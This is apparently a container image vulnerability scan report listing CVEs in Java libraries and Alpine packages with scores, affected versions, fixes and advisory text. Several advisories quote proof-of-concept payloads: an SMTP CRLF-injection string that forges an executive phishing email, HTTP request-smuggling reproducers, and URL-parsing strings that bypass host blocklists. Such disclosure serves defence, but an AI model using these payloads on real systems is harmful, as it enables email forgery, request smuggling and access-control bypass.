- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.130%
EPSS Percentile33rd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec-smtp@4.1.124.Final
-high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - - - - - - - - -
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.971%
EPSS Percentile76th percentile
- -
Description -
- -### Summary -An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. - -### Details -The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. - -The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. - -Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. - -### PoC -A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. - -**1. Malicious Payload** - -The core of the exploit is the payload, where new SMTP commands are injected into a parameter. - -```java -// The legitimate recipient is followed by an injected email sequence -String injected_recipient = "legit-recipient@example.com\r\n" + - "MAIL FROM:\r\n" + - "RCPT TO:\r\n" + - "DATA\r\n" + - "From: ceo@trusted-domain.com\r\n" + - "To: victim@anywhere.com\r\n" + - "Subject: Urgent: Phishing Email\r\n" + - "\r\n" + - "This is a forged email that will pass authentication checks.\r\n" + - ".\r\n" + - "QUIT\r\n"; -``` - -**2. Triggering the Vulnerability** - -The vulnerability is triggered when this payload is used to create an SMTP request. - -```java -// The Netty SMTP codec will fail to sanitize this input -SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); - -// When this request is sent to an SMTP server, the injected commands -// will be executed, sending a forged email. -channel.writeAndFlush(maliciousRequest); -``` - -**3. Full Reproduction Steps** - -A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server - -* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c - -To run the full PoC: - -1. **Set up a local SMTP server.** The easiest way is using MailHog: - * On macOS: `brew install mailhog && mailhog` - * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` -2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. -3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. - -### Impact -This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). - -The primary impacts are: -* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. -* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.033%
EPSS Percentile9th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) - -pkg:maven/org.apache.commons/commons-compress@1.23.0
-medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
- -
Description -
- -Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. - -Users are recommended to upgrade to version 1.26, which fixes the issue. - -
-
- -medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') - - - - - - - - -
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
- -
Description -
- -Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. - -Users are recommended to upgrade to version 1.26.0 which fixes the issue. - -
-
- -medium 5.5: CVE--2023--42503 Improper Input Validation - - - - - - - - -
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
- -
Description -
- -Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. - -Users are recommended to upgrade to version 1.24.0, which fixes the issue. - -A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. - -In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. - -Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. - -[1]: https://issues.apache.org/jira/browse/COMPRESS-612 -[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 -[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html -[4]: https://bugs.openjdk.org/browse/JDK-6560193 -[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 - -Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) - -pkg:maven/com.google.guava/guava@14.0.1
-medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data - - - - - - - - -
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
- -
Description -
- -Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. - -
-
- -medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) - -pkg:maven/org.apache.commons/commons-configuration2@2.8.0
-medium 6.9: CVE--2024--29133 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
- -medium 6.5: CVE--2024--29131 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile16th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) - -pkg:maven/com.google.guava/guava@27.0-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) - -pkg:maven/com.google.guava/guava@30.1.1-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec-http@4.1.124.Final
-medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') - - - - - - - - -
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.054%
EPSS Percentile17th percentile
- -
Description -
- -### Summary - -The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. - -### Details - -The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) - -The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. - -### PoC - -Simple reproducer: - -```java -public static void main(String[] args) { - - EmbeddedChannel client = new EmbeddedChannel(); - client.pipeline().addLast(new HttpClientCodec()); - - EmbeddedChannel server = new EmbeddedChannel(); - server.pipeline().addLast(new HttpServerCodec()); - server.pipeline().addLast(new ChannelInboundHandlerAdapter() { - @Override - public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { - System.out.println("Processing msg " + msg); - } - }); - - DefaultHttpRequest request = new DefaultHttpRequest( - HttpVersion.HTTP_1_1, - HttpMethod.GET, - "/s1 HTTP/1.1\r\n" + - "\r\n" + - "POST /s2 HTTP/1.1\r\n" + - "content-length: 11\r\n\r\n" + - "Hello World" + - "GET /s1" - ); - client.writeAndFlush(request); - ByteBuf tmp; - while ((tmp = client.readOutbound()) != null) { - server.writeInbound(tmp); - } -} -``` - -### Impact - -Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. - -
-
- -low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
- -
Description -
- -## Summary -A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. - -## Details -When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). - -This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): - -``` -POST /one HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 - -POST /two HTTP/1.1 -Host: localhost:8080 -Transfer-Encoding: chunked - -0 - -``` - -The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). - -## Impact -This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. - -The impact is high, but it only affects setups that use a front-end which: -1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. -2. Forwards chunk extensions without normalization. - -## Disclosure - - - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html - -## Discussion -Discussion for this vulnerability can be found here: - - https://github.com/netty/netty/issues/15522 - - https://github.com/JLLeitschuh/unCVEed/issues/1 - -## Credit - - - Credit to @JeppW for uncovering this vulnerability. - - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.017%
EPSS Percentile3rd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-medium : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.124.Final (maven) - -pkg:maven/io.netty/netty-codec@4.1.124.Final
-medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) - - - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
- -
Description -
